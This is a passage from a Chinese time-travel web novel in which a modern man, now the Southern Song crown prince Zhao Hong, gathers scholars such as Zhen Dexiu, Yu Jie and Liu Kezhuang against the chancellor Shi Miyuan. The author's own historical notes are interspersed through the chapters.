“:老先生大才,竑很喜欢这首诗。”
“:嗨!会几句酸词的农夫罢了。”
农夫?这古代农夫都能随口写诗,还流传百世?真是不简单啊。这一句话,让多少后人汗颜。
“:殿下认为像老夫这样的农夫,选择田园生活,却不选择庙堂,真的错了吗?”叶绍翁不失事宜的向宋宇抛出了问题。
宋宇略作思索“:当今的朝堂,钻营奉承之辈得势,老先生选择隐居,明哲保身,并未错。毕竟一方土壤养一方人,现在朝堂上的土壤,已经不能供养像老先生这样的人了。离开,才是最佳的选择。”
叶绍翁像是抓到了救命稻草,感激的说道“;殿下所言,深合老夫之意。”
真德秀却出口反驳“:天理昭昭,史弥远等人得势,朝堂晦暗。贪婪之辈愈加猖狂。如果都躲起来了,这天下岂不是要亡?”
历史名词解析:“四木三凶”,说的是助史弥远作恶的爪牙,四木是指薛极胡榘聂子述赵汝述因为名字里都有木,时人谓之“四木”。李之效梁成大莫泽因为凶狠残暴,为达目的不择手段,谓之“三凶”。其余更有称为肺腑,耳目,鹰犬之人遍布大宋朝的方方面面。气焰不可一世。所以历史上史弥远在宁宗死后,娇诏另立储君,简直是易如反掌。
历史人物传:陈规,陈规和岳飞是同时期人,只不过在历史上不太出名,但这也掩盖不了他是忠臣良将的光芒。陈规守德安,曾组成了一队60余人的火铳队,打得数倍于己的敌军屁滚尿流。其实当时陈规所制火铳并非枪型,而是用竹管所制,**则是碎铁块和石子。可就是这样的原始火铳,一出现便改变了古代战争的格局,锋芒毕露。
第十回 先生的袖筒 史弥远的兵
言者无心,听者有意。宋宇整理了下措辞,不温不火的解释道“:冲上去送死,匹夫之勇。不如等待时机,一举扭转乾坤。”
“:好,好个等待时机,扭转乾坤。有这等志向,殿下将来定能大有作为。”叶绍翁再次夸耀宋宇。
真德秀收起了愤怒的表情“:殿下,你可知道那小小的来历?”
宋宇心道:自己只知道这小小是史弥远派来的间谍,其他细节,还真就无从知晓。
此时听真德秀问起,故作不知的样子摇了摇头“:这,先生知道?”
真德秀叹口气“:老夫托人调查,得知这小小是秦淮河上专门从小圈养的**。是史弥远拉拢其他官员的礼物。”
原来小小是这等身世。平日里看这丫头笑得很开心,没想到身世如此凄惨。
现在想想,史弥远送小小来,是不是也有拉拢自己的意思?前太子却说要流放史弥远。自己现在又打了史弥远的儿子,坏了史弥远结交谢家的计划。这恩怨,不好解了啊。
想到这,宋宇一脸惆怅地说道“:想不到这姑娘,身世如此可怜。”
真德秀却不以为然“:殿下心肠太好。人心这东西,就像是关不住的野兽。要**的。”
宋宇见真德秀并没有惩罚小小的意思,心里松了口气“:学生已经迁出了竹楼。至于处罚,大错已经铸成。也不能怪人家姑娘。学生打算先将这姑娘寄养在府中。一来安抚史弥远,二来,这方天下,让这姑娘自小便成了一件物品,竑不想再让她被送来送去了。”
真德秀听了宋宇的解释,并没有生气,反倒是一脸欣慰的说道“;殿下想的很是周到。只要殿下能明白这其中的利害,老夫也没有什么需要再苛求殿下的。”
说到这,真德秀又想起了什么“;殿下,去给您送信之人?”
宋宇忙将之前和余阶发生的一连串的事原原本本讲给真德秀听。
听的真德秀笑意盈盈“:殿下以前不是总嫌弃落魄穷酸书生吗?嫌他们文嗖嗖,酸溜溜,还一身的汗臭?”
宋宇再次听到了前太子的性格,心想这前太子毛病缺点还真是不少“:竑以前年少无知,自从见了余学弟,才知道一山还比一山高,天下英雄,不问出处。”
说完,又看向了叶绍翁,意思很明显,这农夫写的诗,就是证据啊。
真德秀哈哈大笑“:这余阶当时还对老夫信誓旦旦,说要是不能劝得殿下悔改,就不再回来了。现在想来,真是君子无戏言啊。”
宋宇暗自偷笑,要照着前太子的心性,这余阶绝对会被打出门去。而这余阶没脸回来,一生气北上投了军。
“:除了余学弟,今日竑还在路上结识了一位壮士。”说着,宋宇将巧遇谢道清一事,详细的讲给了真德秀俩人听。
听的俩老头不住的点头。尤其是真德秀,初听史施德所为时怒气满面,但等到宋宇说完,不禁转怒为喜。
抚着胡须说道“:殿下敢作敢为,老夫甚是欣慰,说起这谢家,老夫倒是想说几句,这谢家因当年谢深甫助杨皇后上位,而备受杨皇后感激,虽现在无人在朝为官,可却颇有实力,而这谢家姑娘,老夫倒也是见过几面,虽然长得端庄,可却是黑了些,想那史施德什么样的女子没见过?断然不会因色心而做出此事。依老夫来看,此中定然另有文章。”
宋宇一听,不禁暗自琢磨,黑了些就不漂亮了?那后世那些拼命晒古铜色皮肤的女子,岂不都是想变丑?看来这古人的审美,还真是和后世不大一样。
“:学生也这么想。这次坏了史弥远好事,只怕来日史弥远会报复。”
真德秀却是一摆手,满脸无所谓的说道“:任他史弥远如何笼络人心,这朝堂上,还不是他一家说了算。殿下尽管放心。”
宋宇见老头说的很有底气,心想自己这根大腿算是抱对了。这趟真是没白来。
一旁的叶绍翁也满脸得色的对着宋宇夸赞起真德秀“:殿下,你这位先生,虽然没有兵权,可袖筒里装着咱大宋无数忠臣义士的信任。有他在,史弥远断然不敢撒野。”
宋宇听着夸赞不住的点头。真德秀那边示意仆人把余阶俩人叫进来。
不多时,余阶和陈达进了堂内,真德秀招呼众人落座,满眼微笑的对余阶说道“:这次还真亏了你,本来今日你毛遂自荐,说要为老夫劝殿下醒悟,老夫还以为是大言不惭,现在看来,是老夫走眼了。老夫在这里谢过义士。”说完起身对余阶微微拱手致谢。
余阶赶紧起身“:其实这并非余某之功,全赖殿下深明大义,幡然醒悟。阶可不敢领受先生此礼。”
真德秀立马看向了宋宇,宋宇起身说道“:余兄弟太过自谦了,若非你舍身送信,哪有今时今地的赵竑?竑再次谢过余兄弟。”
说完对余阶一抱拳,又对着真德秀说道“:今日先生府上一行,学生收获颇多,更是结实了一位英雄人物。”说完用手指了指跟随余阶一道进来的陈达。
陈达赶紧起身对真德秀施礼“:小人陈达,见过真老先生。”
宋宇继续介绍道“:陈达乃是忠义之后,对我大宋更是忠心耿耿。”
真德秀满意的点点头“:看到殿下愿意礼贤下士,老夫甚是欣慰,我大宋就是要交给你们这些年轻人才有希望。”
说到这,真德秀黯然神伤“:自打靖康之耻以来,我汉人好久没有遇到明君了。”说着看了看宋宇“:殿下,老夫毕生的梦想,都寄托在您身上了。”
看着一脸真诚目光炙热的真德秀,宋宇忙回道“:学生谨记先生今日嘱托。”
真德秀得了宋宇答复,满意的点了点头,“:其实老夫今日如此想见殿下,还有一件更要紧的事。想要告知殿下。”
宋宇他们那里商量更重要的事,而此时史弥远的府上却是寂静异常,下人们大气都不敢出,规规矩矩的排队站在一座花园之内的雅阁前。
阁内不时有打骂摔砸之声传出,更是让外面那些家丁们个个胆战心惊。循着声音向阁内看去,只见一个长得肥硕无比的男人,气急败坏的在屋内踱着步。屋内同样跪着一群人,一个个抖得跟筛糠似的。
不错,这胖子就是当朝丞相史弥远。下边跪的,则是狗爷他们。
突然,史弥远转过头来,目露凶光,喷着唾沫星子吼道“:你们这群没用的狗东西,全都给本相拉出去,照死里打。”
阁外侍卫应声而动,也不管狗爷他们如何的磕头如捣蒜,拉着便往外走。
史弥远仍不解气,继续吼道“:一帮成事不足败事有余的东西。一群人打不过四个手无寸铁的肮咂货。本相养你们何用?今日我儿没事便好,有事,你们这帮废物全去陪葬。”
吼完,又要找东西咂,可这身边该砸的都砸的差不多了,正要寻找,一旁站立的一个儒生打扮之人,慌忙从桌上端起一个茶杯,屁颠屁颠的跑过去“:恩相请摔...”
而那个捧着茶杯谄媚的儒生打扮之人,名叫郑清之,虽然只是一个九品小官国子学录。却因为极力舔史弥远腚眼而被史弥远时时带在身边。
史弥远看着这位极力巴结自己的郑清之,又好气又好笑。袖子一甩哼了一声,便转过头去生闷气了。
郑清之像条狗一样,摇头摆尾的说道“:恩相哪,所谓小不忍则乱大谋。眼下你差小人办的事,已初见成效。只等天变,恩相便可要风得风,要雨得雨。何必因此小事而坏了大计?”那说话的模样,要多贱有多贱。简直不忍视之。
一旁一个武人打扮之人,重重的冷哼了一声“:哼...妇人之仁。”
说完满眼鄙夷的看了郑清之一眼“:要本殿帅说,干脆起兵灭了这姓赵的。以恩相的实力,这天下便是姓史,谁人又敢说半个不字?”
这人名叫夏镇,时任殿前都指挥使,也就是掌握大宋三衙之一的殿前司。手握兵权,怪不得如此霸道。
一旁的郑清之
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看对方如此轻视自己,也来了脾气“:粗莽武夫,你懂个什么国家大计。难道你想让恩相背负千古骂名吗?”
俩人在这咬的厉害,那边史弥远怒了“:够了,都给本相住嘴。”
都说这狗仗人势,一声呼喝还真管用,两条狗立马夹起了尾巴。
史弥远恶狠狠的说道“:事到临头,你们净扯些没用的,本相现在是咽不下这口气。这赵竑小儿都骑到本相脑袋顶拉屎了。可有谁有办法帮本相报了此仇?”
屋内众人顿时哑然,沉默一阵后,有一头戴东坡巾,方脸粗颈,约莫四十来岁的中年人站了出来,缓缓说道“:相爷想报仇,何不明日六参朝会参他一本。就说他赵竑当街调戏良家妇女,正被公子撞上,一言不合,赵竑纵奴行凶,重伤公子。岂不妙哉?”
出这么损主意的这个人名叫薛极,兵部尚书。可见史弥远身边这些掌握兵权的人何其之多。
史弥远却无奈摇了摇头“:本相岂不知参他一本?本相基本每次朝会都会参他,可恨的是,赵扩(宋宁宗真名)这老糊涂虫每次都将奏本压下。也不知是真糊涂还是装糊涂。”
薛极继续说道“:恩相,此事好办,可将写好的奏折交给临安府尹,让他再找几位证人,明日朝堂之上,参他赵竑一本,我们则在旁煽风点火,看他赵竑如何脱身?”
史弥远深以为然,转身看着屋内这些人“:临安府尹可在?”
话音刚落,一个白发苍苍的老者站了出来“:老朽王俞,悉听恩相吩咐。”
就这模样,少说也得七十开外了。一屋贼子,狼狈为奸,在这里商量怎么祸害赵竑。而赵竑那边对此却还全然不知。
看着外面天色已晚,宋宇起身向真德秀告辞“:先生,天色不早了,学生不想过多叨扰。就此拜别。”
真德秀笑呵呵的站起身来“:殿下可要记得今日商量好的事,明日也好应对。”
“:学生谨记。”宋宇说道。一旁的余阶也起身告辞“:那先生,学生这里也随殿下回府了。”
“:嗯,好好,有你在殿下身边,老夫这心也能放肚里了。”说完抚须点头微笑。
由于宋宇等人来时步行,走时真德秀便让府内马车送他们回去。辞别了真德秀,宋宇一行踏上了归途。
说实话,宋宇这还是第一次坐马车,只觉颠簸得紧。毕竟这古代车轮还都是木制的,没有柔软的橡胶敷在表面。
纵使临安这御街全由石板铺就,但轻微一点颠簸,这车内就能清楚的感觉到。
挑开车帘向外看去,只见日暮西山,有的店家已经掌灯准备夜市了。看着窗外古意盎然的景色,宋宇不禁怅惘,自己莫名其妙来到这大宋,还成了太子。前路未卜,身临险境。不知稍稍改变了一下人际关系,能不能挺过三年后被史弥远弄死的悲剧?
历史人物传:真德秀,理学实干派,并且是个北伐主战派。于宋宇穿越前曾向宁宗进言,停止向金国贡献岁币,宁宗采纳了他的建议,此时的金国已经被成吉思汗打得屁滚尿流,只能龟缩于黄河以南。可就是在这样的情况下,仍然因为大宋不进供,而大举攻宋,只可惜当年纵横驰聘的大金国,早已到了日暮西山的地步,这场战争一打,就是数年,耗**大金,耗穷了大宋。可以说真德秀虽然忠直,但毕竟是文臣一个,在总体战略上并不出众。
历史人物传:本书第一个挡在主角面前的人登场了,第一卷烟雨江南,也算正式进入了主题,史弥远,一个被人忽略的巨奸。初时勾结杨皇后,在御花园杖杀了韩侂胄,后更是饲养四木三凶,为乱朝纲,娇诏篡立一个山林野人为帝。乱发纸币,物价飞涨,囤积居奇,大发国难财,打压异己,以致豺狼遍布庙堂,忠直之士无奈隐于山野。对外,勾结蒙古,合力灭了金国,却给大宋朝留下了一个更加强大的对手。其行甚于秦桧。可就这样一个人,却没秦桧出名。这不得不说是一个奇迹。
第十一回 大宋丰乐楼 再题临安壁
没兵没权,空有一群当代名士,想要活下来,几率还是太低了。可大宋的储君,向来没有什么实质性的兵权,有也是挂着虚名的职位俸禄罢了。想要在走到那个位置之前掌握兵权,几乎没有可能。看来以后的路,依旧不好走啊!
宋宇这里盯着窗外走神,和他同车而坐的余阶开口了“:殿下?看什么呢?如此出神?”
宋宇转过头揉了揉紧皱的眉头“;我是看这窗外美景怡人,不禁想到,若是北方蛮夷南下,这一切都会成为过眼云烟,京华旧梦。而我华夏民族四千余年所积累的文化,也将如东流之水,一去不返。”
一旁的陈达满眼傲气“:殿下休要涨蛮夷气势,若我手中之物可得大用,区区蛮夷,定将逐回塞北老家。”说完还拍了拍身后木匣。
“;不过,光靠尖枪利甲,想要北逐哒掳,尚还有些勉强,不若先尽收民心,以待天时,挥师北伐,一战功成。”余阶在一旁说道。
不知为何,宋宇见到这俩人心里就热乎乎的,仿佛是自己失散多年的亲人“;就凭两位刚才所言,以宰相任之,都不为过。”说完哈哈大笑。
相比于宋宇三人,小小一直安安静静的听着,面上看不出喜怒,偶尔将脸转向街道,对着来来往往的人群发呆。
三人一路畅聊,不知不觉已经到了祁国公府门外。
回到府门,宋宇刚下车,一眼便看到站在门口观望的程保和赵国,
见到宋宇等人走来,程保两人马上迎了上去,禀报宋宇已经将谢道清安全送回了家。
宋宇和程保两人寒暄几句,便转身对着小小说道“:小小姑娘,还请帮陈兄弟安排住处。”
小小点了点头,便去找人张罗陈达住处去了。
宋宇暗道:这丫头跟自己刚见面时相比,好像变了许多。没了那些个妩媚的动作不说,还给自己一种特别像贤内助的感觉。也不知是这小小故意为之,还是她真的变了?
想起真德秀那句,人心就像是关不住的野兽这句话,宋宇实在无法跟现在的小小相关联。
不过也罢,这丫头不再胡乱掺和自己和余阶等人的关系,不再哭闹从中作梗,也算是自己赢了一局。
想到此,宋宇扫视了一圈余阶等人,就见他们都在自顾自的与他人攀谈,面上洋溢着喜悦,氛围相当融洽。
看来是自己给余阶他们找到了归宿“:诸位兄弟,夜色尚早,不如趁着今日喜庆的气氛,咱们去外边吃完饭如何?”
余阶几人一听有饭局,高兴的齐声应承“:全赖殿下吩咐。”
余阶还添了一嘴“:殿下,小弟一直听说丰豫门外的丰乐楼厨子不错。咱们去那吧?”
宋宇对余阶的这个提议倒是没什么意见,毕竟现在是太子,一顿饭钱还是出得起的。见其他几人也没有意见,这件事便定了下来。
言者无心,听者有意,刚走没多远的小小听说有饭局,小跑着折返回来“:殿下,有饭局这好事,怎么不叫上奴家一块?”
宋宇被小小问的愣在了原地“:你一个姑娘,跟着我们一群老爷们,不合适吧?”
小小对着宋宇使了个眼色,“:殿下,奴家可以唱曲,奴家会的曲子可多了,去了酒楼,刚好给诸位解闷。”
宋宇砸吧砸吧嘴:这丫头想去,拦着确实不太好。再者,自己和余阶他们只是去吃饭,没什么隐秘的谈话能让这丫头听去。多个会唱曲的活跃下气氛也不错。
“;小小姑娘想的很周到,那便一起去吧。”
小小听宋宇同意,立马开心起来,留下一句“:殿下稍等会,我去吩咐佣人帮陈达收拾房间。”后小跑着便去做事了。
宋宇等人在门口等了不多时,便见小小带着十余个府内的侍卫走了出来。宋宇一看这阵势,脸色一紧,怎的?这丫头要对我动手?
可细看她时,仍然是一脸无害的样子,立马又打消了这个念头。
小小笑容满面的走到宋宇跟前“;殿下,奴家把府中身强力壮的侍卫都带出来了。”
宋宇错愕的看着小小“;喝个酒,带这么多人干嘛?”
“;殿下今日所为实在是太过危险。所以多带点护卫,以防不测。”
原来是这么回事啊,可带这么多人,跟抄家似的,别把那些贪官污吏吓坏了啊...
不过转念一想,这丫头毕竟是一片好意,有句话不是说既来之则安之吗?于是对小小说道“:多谢多谢小小姑娘,既然都出来了,那便跟着吧。”
说完,宋宇忙招呼众人上车。刚才等小小的时候,已经送走了真德秀府上的马车,让程保又从府中赶来了两辆红顶黑幔马车。
宋宇和琴小小同乘一辆,剩下的程保他们四人一辆。本来程保他俩死活不上,说是怕乱了规矩,结果让宋宇一句话给噎回去了“:你们现在是本殿下的救命恩人和兄弟,乘车理所应当。”
俩人看宋宇一副要**的模样,只好乖乖的上了马车。
于是,两辆马车在十余个带刀侍卫的护送下。穿行在这夜幕下的御街之上。
正值月照临安,满街张灯,夜晚的御街,跟添了几分幽然古色古香之美。
宋宇一行人没有在集市停留,浩浩荡荡的行军似的队伍,奔着余阶所指的丰豫门外丰乐楼而去。
不多时,便到了目的地。宋宇下了马车,看着这座大宋官营的天下第一酒楼,还真是煞有介事,只见这丰乐楼高三层,依着西湖而建。
楼外草坪停满了车马,从门口向内望去,一楼之内座无虚席,丰乐楼上灯火通明,与这西湖竟相辉映,俨然一派神仙之境。
众人跟随宋宇来到了一楼,立马有热情洋溢的小二凑上前来带路“:呦!贵客光临,敢问几位大爷,是寻人,还是另寻座位?”
余阶在一旁搭腔道“;带我等到二楼靠窗位置开个雅座便可。”
小二一看是满身穷酸样的余阶开口,面上有些讶异,又扫视了一圈随行的几人,心里直纳闷:这位贵客衣着华丽,护卫随身,一看就是临安城有头有脸的人物。可为什么这么有牌面的公子,却和几个穷酸打扮之人为伍?实在有失身份。这样的事,自己还是第一次见。
心里这样想,小二脸上却没有表现出来,依旧一脸谄媚的说道“:呦!原来是常客,几位,二楼请。”
众人跟着小二向二楼走去,余阶边走边在宋宇身旁介绍着丰乐楼“:这丰乐楼共三层,最上层为达官贵人淫乐之所,我等读书人,实是不忍视之,第二层便是儒人雅士饮酒交流之所,在下一直想来,却苦于囊中羞涩。而这最下层,则是平民百姓交友吃食的地方。”
宋宇听完他介绍,心中顿时明了。怪不得这余阶如此熟悉这里,原来这里是余阶最想来却来不了的地方。
话说像是余阶,倘若能经常来这与当代的文人雅士交流的二楼。说不得就能改变自己被迫去边关从军的命运。可若是这样,大宋就少了个草根逆袭的传奇。
不多时,在小二的带领下,宋宇等人来到了余阶所说,靠窗的位置,宋宇坐在了最里面靠窗位置,从这个方向望向西湖,别有一番韵味。
程保赵国则对坐在最外面,余阶陈达两人对坐中间。其实上楼的时候赵国俩人就嚷嚷着,在最下层叫些酒菜便好了,可看到宋宇那凶恶的眼神,俩人硬生生把话又咽了回去。
小小则找小二要了琵琶,坐在桌子最外面,弹着琵琶,开始唱曲。本来人声此起彼伏的二楼,顿时安静了许多,
二楼桌与桌之间都是屏风隔开,不少客人都循着声音挪开屏风打量着唱曲声音传来之处。
余阶怕这么多人偷瞄小小,会惹的宋宇不开心,小心翼翼地对宋宇解释道“:殿下,这二楼都是文雅之人,喜好音律,还请殿下勿怪。”
宋宇听了余阶的话,微笑着一摆手“:无妨,本殿下心胸尚可。”
谈话间,小二递上菜单,问宋宇等人想点什么,宋
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宇心想,自己一个农村娃,又是北方人,哪懂点菜啊?
于是干脆将菜单放在小小面前,吩咐小小来点,小小菜单都没看,冷冰冰地对小二说道“:你们这出名的好酒好菜,一样来一份。”
宋宇听小小说完,立马就一副我懂了的样子,原来这点菜,还能这样点呢,真是大开眼界啊。这要是搁穿越前,有人给宋宇来这一招,宋宇估计杀了那人的心都有...有钱,真好。
点完菜后,小小继续开始弹奏,宋宇则时而和余阶等人聊天,时而隔着窗户,欣赏西湖夜景。
直到酒菜上齐后,众人才停下了话题,宋宇自穿越过来都一天了,也就穿越前吃了几口矿泉水,此时一看这一桌的山珍海味,顿时也不矜持了,胡吃海喝了起来。
边吃边招呼众人赶紧动筷子。众人一看太子这吃相,也都放下了拘束,跟着吃喝了起来。
酒过三巡,菜过五味,也不知喝了几碗的宋宇,醉眼惺忪的看起了窗外的西湖夜景,只见此时西湖之上并未因夜幕降临,而陷入沉睡。
月光倾泻在湖面上,随着湖水荡起的涟漪,泛起一道银光,而湖上漂泊的船儿,更是将此景衬托的如诗如画。怪不得无数文人雅士为这西湖所陶醉。原来这西湖夜景,真如那仙境一般...
看着这美景,宋宇站起身来,走到窗口。一阵湖风吹来,酒已醒了几分。也不知是怎的,突然有感而发,想起一首诗,竟大声地念了出来
“:山外青山楼外楼,
西湖歌舞几时休?
暖风熏得游人醉,
直把杭州作汴州。”
念完还发泄似的,对着窗外吼了两嗓子。发泄完了,才又醉醺醺的回到了自己的座位。
待抬头用惺忪的醉眼看众人时,却见众人吃惊的盯着自己看。
宋宇见他们表情实在夸张,半开玩笑的调侃道“:怎的?没见过人念诗?”
赵国点点头,又摇摇头,紧张加结巴的小声说道“:见过念诗的,但但没见过有人念反诗,念得如此理直气壮的。尤其,还是我大宋的太太子...”
反诗?宋宇疑惑的看了看其他人,其他人也都是默默的点了点头,等看到余阶时,他却一脸坦然,见宋宇看他,拿起自己的酒碗,喝了一口酒,然后将碗重重的放下,只听“咚”的一声,酒碗落桌“;好酒,哈哈哈!殿下这诗念得好,此楼中皆是当代饱学之士,想必会有贤人结交,也说不定呢?”说完笑声愈加爽朗。
宋宇当时可没那么想,就是喝多了发发牢骚而已,难道自己念的声音太大了?整层都听得到?
宋宇四下一扫,果然刚才还有些议论之声传来,现在却都在低声私语,这二层被楼梯隔开,分成了两个部分,所以空间也不大。
历史名词解析:六参上朝,宋朝的皇帝属于不太勤政的,所谓六参上朝其实就是一个月上朝六次,在没有战争的时候,基本不设常朝,常朝就是每日小朝会,本回中提到的郑清之等人,都是史弥远爪牙。有句话不是站在巨人的肩膀上吗?这些人则是跪在巨奸的裤裆底下。而郑清之提到的那件事,就是在民间找了个闲汗冒充太祖后裔,以期宁宗死后,娇诏篡立。在史书中提到这史弥远找的闲汗啊,是冰雪聪明,颇有帝王之气。可用脚趾甲想,这事也不靠谱,换做谁是史弥远,肯定都得找个歪瓜裂枣,呆头傻脑的。多好控制?
历史名词解析:丰乐楼是大宋户部所办的官营酒楼,这宋朝只要能赚钱的,不管什么买卖,基本都收归国有了。没办法,每年给金三十万两银,三十万缗绢的孝敬就不是一笔小数目,而且南宋的赋税更是高的离谱,南宋以北宋一半的土地人口,负担了北宋两倍多的赋税。可谓破了历史最高。丰豫门,原名叫涌金门,宋高宗改成了丰豫门,意思就是有钱了,就要好好享受。而涌金门听着耳熟吧,这涌金门就是宋江南征方腊时,浪里白条张顺的毙命之地。
第十二回 流言的危害 巧收二贤士
宋宇这声音稍微大点,整层便都能听到。宋宇拿眼光一扫,但凡没被屏风遮住的客人,只要看到宋宇目光扫来,都会躲瘟神似的赶紧躲回屏风后。
甚至还传来几句议论“;哎呦喂,这主不要命了,大庭广众的,念反诗...”
“:三楼可都是当朝权贵,也不怕惹来祸端!”
“:看这人穿着,应该也是个世家子弟,莫不是喝多了酒,失言了?这要是有心人告官,平白给家里父母招惹灾祸啊!”
更有人言“:喝你的酒,这年头谁心里不憋着一口气?喝点酒发泄一下,很正常。”
宋宇这个郁闷啊,贤人呢?将目光收回,刚想笑骂余阶故作神秘,自己座位后面却传来了一道洪亮的声音“:兄台念得好诗,哈哈哈,在下听的舒坦的很呐!”
另有个声音也传了来,不过却没有刚才那声有底气,甚至夹杂着些许抱怨“;刘兄,你的诗隐又犯了,大庭广众念反诗,这罪名可不小啊,唉,罢了,兄弟我就陪你这一遭。”
宋宇赶紧站起身来,只见从身后屏风闪出两人,一人横眉朗目,目不斜视,一身文人打扮的蓝衫,看着就像是个有骨气的汉子。
而另一人则长得市侩了些,打扮起来更像是个土财主。
只见那骨鲠的汉子作揖道“;
老鹤孤飞久失群,
天涯怀友寸心勤。
狂生似腻宁堪近,
佳士如香故可熏。
在下刘克庄,见过兄台。”
另一市侩些的也作揖道“:在下杨辉,与刘兄在此饮酒,刘兄此生最爱此诗,故而...叨扰,叨扰!”话没说完,便有些不好意思的看了看宋宇等人。
刘克庄?乖乖,还真是条大肥鱼。南宋中期数一数二的诗人,送上门来了!
宋宇乐开了花,不敢怠慢,慌忙与众人起身招呼,但话没出口,一旁的余阶先说话了“;刚才念诗的,便是这位公子。是我大宋的太子。”边说边摆手指向宋宇。
刘克庄俩人一听宋宇身份,表情要多古怪有多古怪,就像吃了过期食品便秘一样。
宋宇看着俩人的表情,心想难道对皇族有意见?开口问道“:两位为何如此表情?还请入座详说。”
两人听到宋宇让自己入座,慌忙推辞“:身份悬殊,不敢与太子殿下同席而食。”
程保一听这话不乐意了“;我家殿下如此邀请,还请两位不要拂了面子,想我兄弟二人也只是家丁,殿下尚让我二人入席,怎的?你二人饱读诗书,还不如我等武夫么?”说完蔑视的看了刘克庄两人一眼。
别说,这句话还真管用,只见刘克庄眉毛抖了抖,将手一拱“;既然是殿下邀请,是我二人的荣幸。”
宋宇说道“:那便好,如此,还请程保赵国两位兄弟先去隔壁酒桌上稍坐。”
毕竟这桌子不大,六人已经不少了,所以先把程保赵国支到刘克庄他俩的席上。
两人不多废话,诺了一声,便到隔壁桌了。和武人说话就是省事,大多都是直肠子,令行禁止,行动快。
文人就不同了,由于读的书多,想法也就各不相同,可以说每人心里都有个小世界。讲究的也就不是一般的多。可能一句话产生分歧,就能断交一辈子。
小小见座位有变动,也起身很乖巧的离座了。见她离开,宋宇也没想多问。
此时座位空出来,宋宇微笑着说道“:还请两位入席。”
刘克庄大大咧咧的坐了下来,这风范,颇有点武人的味道,不过这也在宋宇的意料之中。
历史上这位就是继承辛弃疾诗风的硬派诗人,软啦吧唧的,他也写不出那么带劲的诗。
杨辉则是微笑着向每一个人作揖后才入座。
众人都坐好后,宋宇才疑惑的问道“:不知两位为何听到本殿下名字,会有刚才那般表情?”
刘克庄刚想说话,一旁的杨辉先开口了“;无事,殿下,我二人知道是当朝太子,惊愕而已。”
惊愕?能是那表情?骗傻子呢“:恐怕不止惊愕这般简单吧?”宋宇淡淡的说道。
一旁的刘克庄努力甩开杨辉压着自己的手,瞪了杨辉一眼,随即冷冰冰的说道“;既然殿下想知道,那在下便说了。其实我二人早已闻听太子殿下大名久矣。”
宋宇看他这冷峻的表情,知道肯定不是什么好名声“:无碍,尽管说。”宋宇坦然道。
“:其实何止我二人,这临安城都传开了,流言说太子因宠信一名风尘女子,而一年有余不上朝,整日在府内饮酒,听琴,作乐,实是另我等文人为大宋的前途心痛。”
好吗,原来是这事。真是好事不出门,坏事传千里。宋宇这里刚想解释,一旁的余阶冷冷的插嘴道“:两位都是我大宋的饱学之士,何以相信起这些坊间流言了?”
刘克庄眉头一皱,看了看坐在自己旁边的余阶“;敢问阁下是?”
余阶依旧面色冰冷,将手一拱“;不才余阶,幸赖殿下看重,现任济国公府陪读。”
他俩虽然都为真德秀学生,却是素不相识,余阶从师不过一年有余,而这刘克庄则是十余年前的事。明白这俩人关系的宋宇,见这俩同门师兄弟在此互相介绍,心里不禁觉得好笑。
刘克庄还想说话,宋宇却打住了他“:不知道两位现居何职?”
宋宇可不想听这俩同门师兄弟斗嘴皮子。因为宋宇实在是猜不透,这俩人在这临安干嘛?历史上这俩人不是一直都在外做小官吗?
见宋宇不为自己流言之事辩解,反倒问起自己两人现在的身份,刘克庄不禁对这太子产生了一丝好奇。
可一想到自己和杨辉现在的处境,俩人对视了一眼,又都是一肚的苦水。
宋宇看他俩这模样,心里又是一喜,这俩人肯定郁闷了,郁闷了好,咱正好顺手牵羊,把他俩一块牵走...
俩人就这么沉默了一
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会,最后杨辉先开口了“;刘兄,还是你说吧,这又不是什么不光彩的事。”
刘克庄深知这杨辉的脾气,肯定是碍于面皮,不想开口。便对着面前的宋宇开口说道“:我二人不久前还在外做得一任小官,虽无大功,亦无小过。但数月前,我二人同时接到昔日好友郑清之的书信,要我二人辞了官,来这临安相见。说是要在朝庭上保举我二人。”
宋宇听到此,也算是明白了个大概。要说刘克庄他俩不了解郑清之,可以理解。
但自己可是相当了解他。因为这郑清之,可是宋理宗的老师,平生不愿做人,只愿跟在史弥远身后作狗。
可以说太子赵竑之死,和他有直接关系。知道这件事的前因后果,宋宇还是对着刘克庄俩人佯作恭喜道“:恭喜两位,可算是有了出头之日,郑清之那可是本领通天,有他的推荐,两位日后定是前途无量啊。”
刘克庄俩人哪里知道宋宇是怎么想的?听了宋宇的恭喜,眼角直抖。半晌,刘克庄叹了一口气“:唉,等来了这临安,我二人后悔不已啊。”
宋宇赶紧追问“:哦?难道这郑清之诓了你二人?”
一旁的杨辉开口了“:那倒不是,只是我二人到了这临安,才知这郑清之已然投了史弥远。我二人不愿屈身投在史弥远麾下,便滞留在了临安,数日前于这丰乐楼相聚,相互询问下,才知原来不只自己一人如此。”说完看了看旁边的刘克庄,无奈的摇了摇头。
宋宇这心里乐开了花,心想这郑清之真是帮了自己的大忙啊。这史弥远,自从在玉津园用棍棒砸**主战派韩侂胄之时起,便已经成了大宋民众心中的贼。
韩侂胄就算再百般不是,他也是**的,不管任何时代,**都会得到部分民众的认同。
相反的**就会被民众认为是软弱无能,对内高压,对外软弱的废物。
你史弥远想让这些有底线的人,给你效力,这不是开玩笑嘛?可想想这俩人对自己印象好像也不太好,宋宇也是犯了难。要如何牵走这两只大肥羊呢?
宋宇没点墨水,犯了愁,余阶却在旁开了口“;还请两位赎余某刚才失言之罪。原来两位都是明事理之人。既如此,何不留在殿下府上,看看殿下究竟是何等样人?”
两人一听这话,都有点不好意思“:刚才我二人那般说殿下,怕是不妥吧?”
宋宇哈哈大笑“:能得到两位相助,是赵竑几世修来的福分,来,满饮此碗,以后便是我赵竑的兄弟。”
两人受宠若惊,起身就要下跪,宋宇忙起身按住两人肩膀“:何必多礼?竑平生最烦的就是跪拜之礼。正好今日有酒有肉,正是交友的好场合啊!”
历史人物志:刘克庄,江湖诗人,辛派代表,这人有三个特点,一活得长,二江湖诗人里成就最大,官位最高,三敢说话,因为敢说话没少倒霉。老师同样是理学真德秀。
第十三回 是梦还是醒 第一次上朝
刘克庄面色复杂的说道“;殿下能收下我二人便好,以兄弟相称,定然会乱了礼数,倘若他日殿下荣登大宝,我等以何身份视之?”
宋宇眼见刘克庄推辞,犯了难:还日后登基?史弥远会让自己如愿?他那宝贝儿子差点让自己拍死。我和史弥远,只能留一个!
宋宇犯难,一旁桌位立马传来了程保的快嘴“:想我二人区区侍卫之身,殿下都以兄弟视之,两位饱学之士,还不如我等武夫么?”
余阶也在一旁相劝,总算是把受宠若惊的俩人劝下了,默认了兄弟相称之事。
